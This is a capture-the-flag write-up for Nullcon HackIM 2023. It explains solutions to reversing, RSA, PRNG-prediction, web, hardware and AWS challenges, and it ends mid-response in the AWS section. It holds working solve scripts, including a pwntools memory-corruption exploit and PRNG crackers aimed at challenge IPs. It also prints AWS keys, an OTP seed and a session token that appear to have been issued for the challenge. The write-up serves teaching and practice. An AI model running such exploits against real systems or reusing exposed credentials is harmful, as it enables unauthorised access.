Nullcon Berlin HackIM 2023 CTF
wheel
Description
Can you stop the wheels at the right time to win?
We are given a pretty simple flag checker. The first thing that the binary does is that it takes our input flag from the arguments and compare its length to 27:
Then it spawns a thread for each char and calls a function which uses the index and the value of the input:
At the end the binary checks that all the results were 0:
This is the function that checks the char of the flag:
And this is the initial FloatVals vector:
To solve this we can just reimplement the program in Python and bf each character of the flag:
vals = [9.0,74.0,31.0,99.0,114.0,52.0,80.0,125.0,23.0,11.0,79.0,91.0,108.0,42.0,79.0,118.0,75.0,79.0,109.0,42.0,44.0,11.0,79.0,44.0,80.0,127.0,49.0]
def bf(idx, c):
v = vals[idx]
for _ in range(c):
v = v * 5 + 47
while v >= 128:
v -= 128
return v
for i in range(27):
for c in range(128):
if bf(i, c) == 0:
print(chr(c), end='')
break
# ENO{fl0a7s_c4n_b3_1nts_t0o}
Flag
ENO{fl0a7s_c4n_b3_1nts_t0o}
twin
Description
The twins Alice and Bob are so close that they share everything, even the modulus of their RSA keys.
Classic common modulus RSA attack, except that gcd(e1, e2) = 17. The trick is to divide both of them by 17 and then take the 17th root of the message in order to get the flag (this is because the value is not padded, and flag^17 is not enough to wrap around N)
N = 0x00a3411d2588b8156f9c6cc4130a1792f2e616dae1067d3167c847df08259b246f73bc2f3fca28aec87fc9574764a0646d4f7d267c00f589ec975ee169c358d1a18f70f4d76876e48c971ce7649291f823e28fb442f95d9994df5db9fa7e0e6a36d4bae404d4580bc07e8673c76e8de17d010259f80c8cf914cf65a4b572d21c506ea1ad2ed171f8949751cd8487c4d0ca839410d8c6b5835325dfa1a6f293204736e8b783fa64c633bb413f5081243918ea74c055b32ac2f54a55eed6bd9fc2769911ca10ebda049360bbffd979c4751e9509af05762b284b4e5b54b7e5847cef640ddbbfb111ca8486e0a666c439419179be433e7176531748f1e3c5d7ed8bb4bf819ecc5dfe428399c3c9acca2df43c735c71388232e28e8197ad2f1c29fc8b862fc53751d36fb1c98bd8c762423182840b69687f751685ed46944a22ab3209a914099e54be5c40e4b5e306b4e887db2e2e12d2ca2794e33486621ebd6ec792b2d0bfb3b2acfc69042752534deacf6b7811515ade872b69ce4b8acb7f5c3198394b8003aeb88ae1417d9bb3716b1e2b1667c28ba80bbbd987c3764cbd036878f33285867ae1502701f83ad2b441555674faa0b32a6679e9b8e423d19103049f3fae1f2bc8796a864e15dcd418f3d03b72ac8c6a0f681d0c6e38fde8bf74454613e8f51ffd2ede20f1b37d8c9224b09b444b29b7105d3a552b869a5259e75189
e1 = 0x23fcabcdd90ab26d23c8650fa966ba1baf0102080415d65829e437049d087a3adf7ba5e757c07d8a589e2153388b6817f84c53217f389c9c170c35f17c6f094c4974441936c5365475f6cf8c9428c055b367cda662af98c360fcf98c789eb8783b8ba50e9712a8d4019647158dd85194856ed9c911265c1423b0581130ade1a9181f1f53a854e544a87fd7e86782eeb0597609b3cf7e38ec9988ae08380ff2fdd86fe6e30579cf344baf47a31e76c357a58192553b0332f762bf9c1c672118356a7c9643e17525de51590ccd38067a899a982876187bfe7edd6a427974807c7c3daea1df6bf98f35f2a7be7e98ecd67e924bb20b4d36574f56499c3b44a5ed51ddcc26bfd6d94b10e86563f85e73d4c71990a0447471ec2147e4fa9a4c75f780fe8e611a70342bb7b3690fe380269b4205dfe4b70dbbce59a9e3eba5b94ce264336941fec565380c6613fd9136a23b941cfb17ecd52b7ca3a3d49c4dc227cb00b9795b7cb2c2b68b7388a152ceee147313e1231d8160d5740a76e47aa9804b4313cfc1ab610938d92de37881bcdfd4ac29b3a357f6a63c3297553b0e66722a66355c06d619d959bbf88a90bc0b2d66202b1e5dcb8987aa1f4f0e8a08ad3540738c5e32516a833cf17dd2634e7da4b38220571c8256050f3c0f7bba7eb379aab82ec2383d5009f714b2b8469e7bfd995d9fc2f8480a7418430318574372d7cd65
e2 = 0x69624cce3d4838f74b1700883c8c0c2722d04b823d80c64e60dc17049462ba2f756e4141f20b759955bc486a3f82b20fe84ac89354cf61ef3e2904b2ac7e5fcd2fca3b7539b35bc959784bfd24daa5f576ccf4f4f4a57cb40dfe9b8008f09494397f4c8dde984a1e89a6d964c3f7d4621095d37769fe940ee9d5bed15c6294f9dad538a5c9b57ed33963a8a9c245d025ab910eb22da6486b81dc3830b6f1382ffeeb9cec17b61480c38fc228187762825a54539e0697ba93e296191c7b91aae43f9c6caf57eb52058cae073e6a30fb73ef25da5dfb6bea1f7a1f07a8e12798278edd93e5ec42f25ecee041025a37bb1e90649947429c52abdc5f4b325ce06b2e4a92c51db1d12dba8d74ebc2d77474dc95e26216b22d847b27e76a8184ee15e13216c7e3626f33b388e3f996ec929de9fe74c7d1f03ca8adf710949800c419ff92da1407b3daea17f19ff8675e9dde8e1e5427e91d27e65df5f2ec204d434c1ef1334e1235e2c6c8100f5a2950957e2a1943aae40b214c4fd5be8e95e1adfe6e84d3c3655b878e1b628fd35ca4a8cf8300b2c094b01ac19486ad71d9e4b531fb7544de00a0881bcefc9688577d05fa2d34e256860020e884695e14bb549acec713e71579e3c67bc1fba69e133716cd8cf766376350be514fa036806c03dbccbeb3a9ec1738ce8cb7f67181b49b1e6c63960b4ce4988006bef987f10eba444797
e1, e2 = e1 // 17, e2 // 17
import libnum
def attack(c1, c2, e1, e2, N):
if libnum.gcd(e1, e2) != 1:
print ("Exponents e1 and e2 cannot be coprime")
return 1
x,y,_=libnum.xgcd(e1,e2)
val = (pow(c1,x,N) * pow(c2,y,N)) % N
return (val)
c1 = 198851474377165718028112972842265639215206348877016608622627311171042209963702835769614338398847455363946863082762173236373502223802847244557769309152020719377009343678096323767255545133734392981272835212545353488715110156427711111525743585480758640009319505322315888005188276904901023280620051538053743929669167795850860335549768969166461593906239357372330505433946129717041834475732372670961026001478227254999273718196250867204510681064391880099449164629711720021122445665846890550815079811041241824128791656795460007230003283109669795738520458565694688073372232365469969279979269172335621053156518588065204669164636568515585968088715299221616098448196835007486026306834585857385394379932580809203103023106229424720660096661585932612179471986633721231396764156601845262479014417201866703796806022479395694033815788446795158605478744234679438921219482709321859861288988156224563399413134218092016216147313958327131507901433719054874275160651556856183380492151746510052730242685874618761355215984376265719715473363476986957901445315504092719499838417381325617015369293491930133307630128865051357500960150518954750856507501366553062420719464692404538472137892443679198526541754483324903275970820090884602410278644781399298682978387326
c2 = 541940109836125333895781430104885967485013462238357425709353944075428304212181613346342168833632915771850317706081582413750750719712828061669251836467513116815496399077435572514863813419820177695716122433176805528532535188403726732767914692088563121640407878586264559446821905465347721083017105647280563402969518765808190495949892463753148040234604183497869168213134441134251591933907135463336654029223065998877557269475470179804195639035481928376550039377473960558788269310431313825888988908660191302311385846641723702093086996138971258640836061285893970041520552244977929645483977290602241276584136088984907441193129409236710662584843118801800457934169438121910252362434716190064236551302755562358860534549136237814085075287652312464795604230258140807652348468032431267225399615168922885291236301151723996369977845223020976025668767146139688511344868583917521559162297134719274102553947904603784500638033579530233721139319885875767560434666844423652986065991855466499543496592686627509183766091917402747468665062914322631033890742828511915046161646985793301031872822709060588586773552581644418553383314263000798086024158809854568189418235663070035600457464233007552461215491869285368208456103672933515573777187729174614608959934215
finalResult = attack(c1, c2, e1, e2, N)
print(finalResult)
# this is flag^17
# 62384804365241124913345599804074900230680347598765949843911335418987665629071034394309181052139829956378723094438102981708241943396657735577020277518921749632215577531323254959078607994829556797896389096579412251392510143374428289425394717931652600993090619402639252922792405724496119893157157818815710705136641210381320963344445034248260353538078891693266515481257380370365691775951261049477989793142119948724106842785870834723337017137948608118246363236896618387075246504211644178742330800431344396723067042578692377480364017235289358988920340770723173579981898869166663077786956704511079494266163664824871598731514076314650713978534659735267333140898654941791729857840026184962056035574173446305646777941424051746016049690896388825607719150441745437039344753912625726305785256909867360189350903864540110600498913910051842568969655282218194552894037948749786004119698990272668631543911702410140409096801403105309875489434130851328161267288600084172990074924537497734276576797679997335247858506253446969251212663865822627576103411355237302851104736328125
# factordb will give us our answer: http://factordb.com/index.php?query=62384804365241124913345599804074900230680347598765949843911335418987665629071034394309181052139829956378723094438102981708241943396657735577020277518921749632215577531323254959078607994829556797896389096579412251392510143374428289425394717931652600993090619402639252922792405724496119893157157818815710705136641210381320963344445034248260353538078891693266515481257380370365691775951261049477989793142119948724106842785870834723337017137948608118246363236896618387075246504211644178742330800431344396723067042578692377480364017235289358988920340770723173579981898869166663077786956704511079494266163664824871598731514076314650713978534659735267333140898654941791729857840026184962056035574173446305646777941424051746016049690896388825607719150441745437039344753912625726305785256909867360189350903864540110600498913910051842568969655282218194552894037948749786004119698990272668631543911702410140409096801403105309875489434130851328161267288600084172990074924537497734276576797679997335247858506253446969251212663865822627576103411355237302851104736328125
# 111370287864635821706296037246499291051391219732330206848771965
Flag
ENO{5har1ng_is_n0t_c4r1ng}
the sound of the flags
Description
Forget about all the technical details and just listen to this flag.
This is what we see after opening the sound file in Audacity:
I immediately thought of Morse code, and my intuition was correct. Each peak is a Morse character, and inside each peak there are different sounds with different lengths, marking . and -
The above image decodes to CAPITALE:
The rest of the flag was extracted manually, also listening to the audio file was very useful when the spectrogram was not very clear.
Flag
ENO{th3rythm1swh4tc0unts}
spygame
Description
I made a fun and simple game! Find the two numbers in the given list that are swapped fast enough and I'll reward you with a flag :)
Im kind of n00b when it comes to python, so I decided to write most of my game in C. I heard python uses C under the hood all the time.. what could possibly go wrong?
(if your local solution does not work on remote, try adjusting values slightly)
52.59.124.14:10013
In spymodule.c
, there is an OOB read/write in the numbers array. This allows for 1-byte arbitrary read/write, using the provided range of values in numbers
.
However, I couldn't figure out how to debug the process in gdb, so I fuzzed many values (using 0 as the arbitrary read, since x ^ 0 = x) and managed to find the following important offsets:
total_ok
: 264 (LSB)stack_ptr_A
: 271 - 279stack_ptr_B
: 280 - 288i
: 296 (LSB)total_ns
: 304 - 311
stack_ptr_A
and stack_ptr_B
are related to the 2 structs that are used to calculate the time in nanoseconds. However, I couldn't figure out what exactly it pointed to.
My plan was to make start
and end
point to the same struct, so difference in ns is always 0. After playing around with the values, I couldn't achieve that, but only managed to get a fixed ns difference (which will always be the time taken for the first response), by swapping 272 and 281. However, this is still good enough to make total_ns < 1000
via integer overflow, since we can now predict the value of total_ns
.
1st write: swap 272, 281
You answered incorrectly in 43776 nanoseconds!
...
You answered incorrectly in 43776 nanoseconds!
...
...
...
You answered incorrectly in 43776 nanoseconds!
Next, I want to also make total_ns
as large as possible, so that it would nicely overflow to a small value on my last write. This can be done by setting each byte (from the highest byte) to 0xff, until the 3rd lowest byte.
ff ff ff ff ff be ee ef
| | | | | | | |
311 310 309 308 307 306 305 304
Since the ns difference usually has around 4-5 digits (hex), I can't set the last 3 bytes to 0xff, if not it will overflow before I'm ready. Instead, I need to calculate the exact value required for 306 to reach 0xff by the time I finish all my writes. 305 should reach 0x100 instead of 0xff, to trigger the overflow.
Assuming the ns difference is 0xab00:
- ns_diff * 2 = 0x015600
- 306 set to 0xff - 0x01 = 0xfe = 254 (because
total_ns
increments twice after this) - 305 set to 0x100 - 0xab = 0x55 = 85 (because
total_ns
increments only once after this)
Note that the lowest byte won't need to be written to, since it's always smaller than 1000, and also the value added seems to never touch this byte.
1st write: swap 272 and 281
2nd - 6th write: swap 311 - 307, 255
7th write: swap 306, 254
8th write: swap 305, 85
I need 1 more write to control the total_ok
value which is at 264:
1st write: swap 272, 281
2nd - 6th write: swap 311 - 307, 255
7th write: swap 264, 5
8th write: swap 306, 254
9th write: swap 305, 85
Since I need more than 8 writes, I also set i
which is at 296 (at write 2, I need 9 more writes including write 2):
1st write: swap 272, 281
2nd write: swap 296, 9
3rd - 7th write: swap 311 - 307, 255
8th write: swap 264, 5
9th write: swap 306, 254
10th write: swap 305, 85
And at the 10th write, total_ns
should overflow to a value less than 1000, and i
should reach 0, exiting the loop and giving us our flag.
Solve script:
#!/usr/bin/env python3
from pwn import *
import time
def conn():
if args.LOCAL:
p = remote("localhost", 9090)
else:
p = remote("52.59.124.14", 10013)
return p
def main():
p = conn()
# good luck pwning :)
p.sendline(b"hard")
time.sleep(0.1)
p.sendline(b"")
# fix ns to some random value
p.sendline(b"272")
p.sendline(b"281")
p.recvuntil(b"incorrectly in ")
ns = int(p.recvuntil(b" "))
print(ns)
# set i
p.sendline(b"296")
p.sendline(b"9")
# set all digits of total_ns to 0xff (dont set 306)
for i in range(311, 306, -1):
p.sendline(b"255")
p.sendline(str(i).encode())
p.sendline(b"264")
p.sendline(b"5")
# set 306
if len(hex(ns*2)) <= 6:
# there is no change in 306, set to 0xff
p.sendline(b"306")
p.sendline(b"255")
else:
# ns*2 should probably be only 5 digits max
p.sendline(b"306")
p.sendline(str(0xff - int(hex(ns*2)[:4], 16)).encode())
# set 305
# ns should probably only be 4 digits max
p.sendline(b"305")
p.sendline(str(0x100 - int(hex(ns)[:4], 16)).encode())
p.interactive()
if __name__ == "__main__":
main()
Flag
ENO{L00kS_L1k3_Y0u_F0uNd_M3!!}
reguest
Description
HTTP requests and libraries are hard. Sometimes they do not behave as expected, which might lead to vulnerabilities.
http://52.59.124.14:10014
We just need to pass the Cookie: role=admin; really=yes
header to the HTTP request, we can do that using Burp. However, if we read the source code it seems that this shouldn't have worked, but HTTP is hard:
GET / HTTP/1.1
Host: 52.59.124.14:10014
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: role=admin; really=yes
Connection: close
=>
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.11.2
Date: Thu, 09 Mar 2023 11:05:33 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 332
Connection: close
Usage: Look at the code ;-)
Overwriting cookies with default value! This must be secure!
Prepared request cookies are: [('role', 'guest'), ('really', 'yes')]
Sending request...
Request cookies are: [('role', 'guest'), ('really', 'yes')]
Someone's drunk oO
Response is: Admin: ENO{R3Qu3sts_4r3_s0m3T1m3s_we1rd_dont_get_confused}
Flag
ENO{R3Qu3sts_4r3_s0m3T1m3s_we1rd_dont_get_confused}
randrevengerevenge
Description
become a TRUE master of randonomics
52.59.124.14:10019
We are given a php random number generator, luckily there already exists a cracker for it here.
import requests
import subprocess
import re
def tryPHP(seed):
output = subprocess.check_output(["php", "./index2.php", seed]).decode()
return output.split(".")
r = requests.Session()
data = r.get("http://52.59.124.14:10012/").text
ints = re.findall(r"\d+", data)
print(ints)
output = subprocess.check_output(["./php_mt_seed", ints[1]]).decode()
for item in re.findall(r"seed = 0x[a-f0-9]+ = (\d+)", output):
items = tryPHP(item)
for toCheck in ints[1:]:
if toCheck not in items:
break
else:
result = r.post("http://52.59.124.14:10012/submit",data={"next": items[-1]})
print(result.text)
print(output)
index2.php
:
#!/usr/bin/php
<?php
srand(intval($argv[1]));
echo strval(rand()) . ".";
for ($i = 0; $i < 300; $i++) {
echo strval(rand()) . ".";
}
echo strval(rand());
Flag
ENO{PHD_1N_TrU3_R4nd0n0m1c5_516189}
randrevenge
Description
WARNING: only psychics and wizards will be able complete this one
sorry :/
52.59.124.14:10012
Our initial solution was to abuse the fact that the server just sends the actual next random value and doesn't invalidate it, so we can just observe it and resend it:
let response = await fetch("http://52.59.124.14:10012/submit", {body:"next=asdada", method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}})
let string = await response.text();
response = await fetch("http://52.59.124.14:10012/submit", {body:"next="+string.split(" ")[0], method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}})
await response.text()
Flag
ENO{M4sT3r_0f_R4nd0n0m1c5}
pythopia
Description
Can you find your way through Pythopia? But you need a valid license to enter the city first.
We are given a ast dump of a Python program. I've tried to find a way to convert that back into equivalent Python code, but wasn't able to do so. In the end, I solved it by reversing the ast code:
# check 1, test if key (flag) has length 64
If(
test=UnaryOp(
op=Not(),
operand=Compare(
left=Call(
func=Name(id='len', ctx=Load()),
args=[
Name(id='key', ctx=Load())],
keywords=[]),
ops=[
Eq()],
comparators=[
Constant(value=64)])),
body=[
Raise(
exc=Call(
func=Name(id='Exception', ctx=Load()),
args=[
Constant(value='Wrong key')],
keywords=[]))],
# check 2, check that the first 16 characters of the flag are ENO{L13333333333
If(
test=Compare(
left=Subscript(
value=Name(id='key', ctx=Load()),
slice=Constant(value=0),
ctx=Load()),
ops=[
Eq()],
comparators=[
Constant(value='E')]),
body=[
If(
test=Compare(
left=Subscript(
value=Name(id='key', ctx=Load()),
slice=Constant(value=1),
ctx=Load()),
ops=[
Eq()],
comparators=[
Constant(value='N')]),
body=[
If(
test=Compare(
left=Subscript(
value=Name(id='key', ctx=Load()),
slice=Constant(value=2),
ctx=Load()),
ops=[
Eq()],
comparators=[
Constant(value='O')]),
... etc
# check 3, checks that key[16:32] is equal to this array xor'ed with 19
elts=[
Constant(value=36),
Constant(value=76),
Constant(value=96),
Constant(value=102),
Constant(value=99),
Constant(value=118),
Constant(value=97),
Constant(value=76),
Constant(value=119),
Constant(value=102),
Constant(value=99),
Constant(value=118),
Constant(value=97),
Constant(value=76),
Constant(value=124),
Constant(value=120)],
ctx=Load())),
iter=Call(
func=Name(id='enumerate', ctx=Load()),
args=[
Name(id='key2', ctx=Load())],
keywords=[]),
body=[
Assign(
targets=[
Name(id='v', ctx=Store())],
value=BinOp(
left=Call(
func=Name(id='ord', ctx=Load()),
args=[
Subscript(
value=Name(id='key2', ctx=Load()),
slice=Name(id='i', ctx=Load()),
ctx=Load())],
keywords=[]),
op=BitXor(),
right=Constant(value=19))),
If(
test=Compare(
left=Name(id='v', ctx=Load()),
ops=[
NotEq()],
comparators=[
Subscript(
value=Name(id='vals', ctx=Load()),
slice=Name(id='i', ctx=Load()),
ctx=Load())]),
>>> from pwn import xor
>>> v = [36,76,96,102,99,118,97,76,119,102,99,118,97,76,124,120]
>>> print(xor(v, 19))
b'7_super_duper_ok'
# check 4, reversed part of key[32:48] should be equal to _!ftcnocllunlol_
FunctionDef(
name='check_key',
args=arguments(
posonlyargs=[],
args=[
arg(arg='k')],
kwonlyargs=[],
kw_defaults=[],
defaults=[]),
body=[
If(
test=Compare(
left=Subscript(
value=Name(id='k', ctx=Load()),
slice=Slice(
step=UnaryOp(
op=USub(),
operand=Constant(value=1))),
ctx=Load()),
ops=[
NotEq()],
comparators=[
Constant(value='_!ftcnocllunlol_')]),
body=[
Return(
value=Constant(value=False))],
orelse=[]),
Return(
value=Constant(value=True))],
decorator_list=[]),
If(
=> key[32:48] = _lolnullconctf!_
# last check, just verify that the flag ends with you_solved_it!!}
If(
test=Compare(
left=Name(id='k', ctx=Load()),
ops=[
Eq()],
comparators=[
Constant(value='you_solved_it!!}')]),
body=[
Return(
value=Constant(value=True))],
orelse=[
Return(
value=Constant(value=False))])],
decorator_list=[])],
# Put all the parts together for the flag
Flag
ENO{L133333333337_super_duper_ok_lolnullconctf!_you_solved_it!!}
noble collector
Description
Bo is hosting another party but this event seems even fancier. He is addressing all of his guests personally, but still encrypts all invitations.
52.59.124.14:10006
We can collect three $(N_i, c_i, a_i)$ pairs, when $e = 3$, such that $(a_i \times 256^{L} + m)^e = c_i\mod N_i$, where $L$ is a length of invitation
. This $m$ can be recovered by Håstad's broadcast attack.
Flag
ENO{c0pp3rsmith_1s_4_shtronk_t00l}
megavault
Description
This challenge's flag is sealed in a high-security flag vault protected by an atmega32u4 micro-controller.
The only way to unlock it is to enter the correct pin '13371337' into the physical access-control panel at the conference. There's just one problem.. the button for entering the '3' digit recently broke!
Surely a talented hacker such as yourself can find another way in.
To help you out a little, I even managed to get my hands on the source code from the manufacturer.
We're given the source code running on the micro-controller. It's a pretty simple code safe implementation, but it has a bug that we used in order to overwrite the pin:
// we can use the left arrow to underflow inputpos as the boundaries are not checked
case FUNC_LEFT:
inputpos--;
lcd_refresh();
break;
...
// this is the memory structure, pin gets initialized with 13371337 at setup
char pin[9] = { 0 };
char linebuf[256] = { 0 };
int16_t inputpos = 0;
// our input goes into inputbuf
char inputbuf[17] = { 0 };
...
// the del key will null the byte at address inputbuf+inputpos, without boundary checking
case FUNC_DEL:
inputbuf[inputpos] = 0;
lcd_refresh();
The solution is to use the left arrow to set inputpos to -267 (this is how far away pin is from inputbuf) in order to null all the pin bytes using the DEL key. Then we can press Enter and we will get the flag.
Flag
ENO{S4f3_Cr4cKd}
collector
Description
Bob is hosting a party and invited everyone but me. But all the invitations I can collect are encrypted.
52.59.124.14:10005
We can collect three $(N_i, c_i)$ pairs when $e = 3$. Using CRT, we can calculate $c$ such that $c \equiv c_i \mod N_i$. Then $m = c^{1/3}$. After recovering $m$, we can easily recover flag.
msg = long_to_bytes(int(crt([enc1, enc2, enc3], [n1, n2, n3]) ** (1/3)))
maskedDB = msg[-223:]
masked_seed = msg[:-223]
seedmask = MGF(bytes_to_long(bytes(maskedDB)), hLen // 8)
seed = [masked_seed[i] ^^ seedmask[i] for i in range(hLen // 8)]
mask = MGF(bytes(seed), 223)
DB = [maskedDB[i] ^^ mask[i] for i in range(223)]
Flag
ENO{com3_to_Nu1lCon_bu1_do_n0t_tel1_B0b}
breaking news
Description
Alice started to encrypt the flag, but realised halfway she was unhappy with her key. So she created a new one.
We're given two RSA keys with the same value of n
, but different values for e
, this leads us towards boneh durfee, which works for the first value of e
and gives us d=3142948387612230061712223313218058768177264054157930977501720905159512174225
, we can then calculate p, q
by just solving the quadratic:
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import math
key1 = RSA.import_key(open('key1.pem','rb').read())
d = 3142948387612230061712223313218058768177264054157930977501720905159512174225
e = key1.e
n = key1.n
kPhi = e * d - 1
# Neat way to divceil
k = -(kPhi // -key1.n)
# solve quadratic
pq = (k * n - d * e + k + 1) // k
p_q = math.isqrt((pq) ** 2 - 4*n)
q2 = pq - p_q
q = q2 // 2
p = n // q
key1 = RSA.import_key(open('key1.pem','rb').read())
key2 = RSA.import_key(open('key2.pem','rb').read())
key1d = pow(key1.e, -1, (p-1) * (q-1))
key2d = pow(key2.e, -1, (p-1) * (q-1))
key1 = RSA.construct((key1.n, key1.e, key1d, p, q))
key2 = RSA.construct((key2.n, key2.e, key2d, p, q))
ct1 = bytes.fromhex("3b6ccd7fa1de0455945998bc024adc6c2b60ccc8f020cbf024c3d4f98eafdf6a43afd15ec4d9a32f84cb61f7a5462547f2e3622b547c3e9ccb723102805544b373a80f4d252a1081db6d5c5499b222093fd4bb7997c68ab0ed8a9ac3bd0dae64cdfb946da1e311ef6e216ddf2dac14ea3710d5622269f08073598c24a3000a6dd6270ca0db5c304102bc9a5cd104484a2c0ced339121f13499c795de343ad2e655d4ace726654ee9f110e4bee3db95d8e514bd6e658769a01638ff2e9ce954dc09def3b01f6d598ddae2ca9735c8e8f9b71c96984a114084fb0a25b3646481e8c8d4d8adfedc7afad7be7a009c6d12753db4216ab9fd7fc8c37c819aef6a8bce")
ct2 = bytes.fromhex("998d5eeb0c048ade8cd807cb582b15a7799e8481a7476dbe8e0310b5ffc5161add92539bc0a374333c11f5f2008195782a44e45f2394fe3115af59fbc73ad24c4d084d79ba8e5896b644917335fd9a0e07c1d1d316e50480ba44c67b6fc04a2ce33dbc721768f1f874ff2ce1ec0503a4a7c67d10119ff9f79030459068de24ff24593e16877fd74c5a12d0e64a3d62e61b13c403aad2fe605601e8a097aba99707e305e3125a3c89f3d6beccc2f19a32fdac9ab7df181938b9b80d83a54c9c23ef11affff0fca67ecd9d45c58ece90a44ecd60aff7be05bf97cb554c563a3f9139d99f7c76a07acaaa261b1d6cb41e228fb2aca02ed1c64d468aabb8cfaa9210")
cryptor = PKCS1_OAEP.new(key1)
flag = cryptor.decrypt(ct1)
cryptor = PKCS1_OAEP.new(key2)
flag += cryptor.decrypt(ct2)
print(flag)
Flag
ENO{n3ver_reus3_your_pr1mes_4_a_new_k3y_you_have_2_p4y_th3_pr1ce}
bmpass
Description
My brother thinks he's some kind of genius and stores his passwords in image files before encrypting them for "extra security". Its been getting on my nerves lately.
Please prove him wrong.
import struct
import collections
import math
with open ('flag.bmp.enc' , 'rb' ) as f:
data= f.read()
WIDTH = 1280
HEIGHT = math.floor((len(data) - 54) / (WIDTH * 3))
FILE_SIZE = struct.pack('I' , len(data) - 16)
HEADER_SIZE = struct.pack('I' , 54)
def chunks(xs, n):
n = max(1, n)
return (xs[i:i+n] for i in range(0, len(xs), n))
pattern = chunks(data, 8)
counter = collections.Counter(pattern)
for val, nmr in counter.most_common(100):
data = data.replace(val, b"\xff" * len(val))
fname = 'flag.bmp'
flag = b'BM' + FILE_SIZE + b'\x00\x00\x00\x00' + HEADER_SIZE + b'\x28\x00\x00\x00'
flag += struct.pack('I' , WIDTH)
flag += struct.pack('I' , HEIGHT)
flag += b'\x01\x00\x18\x00\x00\x00\x00\x00'
flag += struct.pack('I', WIDTH * HEIGHT * 3)
flag += b'\x00\x00\x00\x00' * 4
flag += data[54:]
with open (fname, 'wb' ) as f:
f.write(flag)
After playing a bit with stegsolve and Photoshop:
Flag
ENO{I_c4N_s33_tHr0ugH_3ncrYpt10n}
babyrand
Description
Look at how many hints I'm giving you… How hard can it be? :^)
nc 52.59.124.14 10011
In python, rand.getrandbits()
is not cryptographically secure. That's why, in the presence of a leak, we are able to predict upcomming bits.
import random
import os
from pwn import *
from mt19937predictor import MT19937Predictor
if __name__ == "__main__":
p = remote('52.59.124.14', 10011)
predictor = MT19937Predictor()
for i in range(100):
p.recvuntil(b'Hints:')
leak = p.recvuntil(b'Guess:').replace(b'Guess:',b'').split()
print(leak)
leaks = []
for i in leak:
leaks.append(int(i, 10))
print(leaks)
for num in leaks:
predictor.setrandbits(num, 32)
result = predictor.getrandbits(32)
p.sendline(str(result).encode('utf-8'))
print(p.recv())
print(p.recv())
Flag
ENO{U_Gr4du4t3d_R4nd_4c4d3mY!}
Read the Rules
Description
Hmmm After reading the rules, I should know a flag.
4/5 attempts
Go to page /rules
and get the example flag.
Flag
ENO{th1s_is_4n_eXample}
Rain checks
Description
So many options to make sure everything stays as it is. Let's use them all.
We are given the following credentials:
AKIA22D7J5LEAGT3CKGP
ByaBJ7YFJnjXW8R88VOht+DFDRnS8R553UXPFon3
E3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJV
arn:aws:iam::743296330440:mfa/mfa-exposed-user
And the following policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"lambda:GetLayerVersion",
"lambda:GetFunction",
"lambda:GetLayerVersionPolicy"
],
"Resource": "*",
"Condition": {
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"lambda:UpdateFunctionCode",
"lambda:InvokeFunction"
],
"Resource": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
"Condition": {
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
}
]
}
The credentials file contains the: aws_access_key_id, aws_secret_access_key, OTP seed and user ARN.
The first thing that we need to do is use the OTP in order to MFA authenticate, that after setting the aws_access_key_id and aws_secret_access_key in ~/.aws/credentials
aws sts get-session-token --serial-number 'arn:aws:iam::743296330440:mfa/mfa-exposed-user' --token-code 115695
We create a new profile using the result from the last command:
[mfa]
aws_access_key_id = ASIA22D7J5LELORPMT43
aws_secret_access_key = 6ezLsgxgI0sUsVLp9L7Piv7/V+OTj33N8OM2Yaps
aws_session_token = FwoGZXIvYXdzEL3//////////wEaDMQQOLkGF4T3aIigpiKGAXpoPootX4vcnQPyNPFKpnjjWNNKvOXpIjtmk2a+w8Nb5ccNVa7Ya+HAkfbe9D5IRx/+sOxmTYS6jART6M9um1ai+vpa67dtKwfFqeJ9fJc3xug3fOMLLGHMnnitSHvjkcu+fhvO0wtKusBllbArmu1FT0FUZGwh9WAiL2JenjZnptrZ9y35KL3eqKAGMijOa6tgdMNno1goVHiFb9M22aJFDxorj7noeWadn5kVswiU19TCzkmN
Now we can execute Get-Function on the lambda from the given policy:
aws lambda get-function --region eu-central-1 --function-name lambda-confirm-secret --profile mfa
And we get the following response:
{
"Configuration": {
"FunctionName": "lambda-confirm-secret",
"FunctionArn": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
"Runtime": "python3.9",
"Role": "arn:aws:iam::743296330440:role/role-for-lambda-to-read-secret-flag1",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 693,
"Description": "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets ",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-03-09T10:15:31.000+0000",
"CodeSha256": "XGBROzVr7sFwZJp0F79dvHfNRc6X2Ag3OTbVx9qldOU=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "8e79f5f4-5d22-4cd2-ac78-68ee9e3d983a",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
}
},
"Code": {
"RepositoryType": "S3",
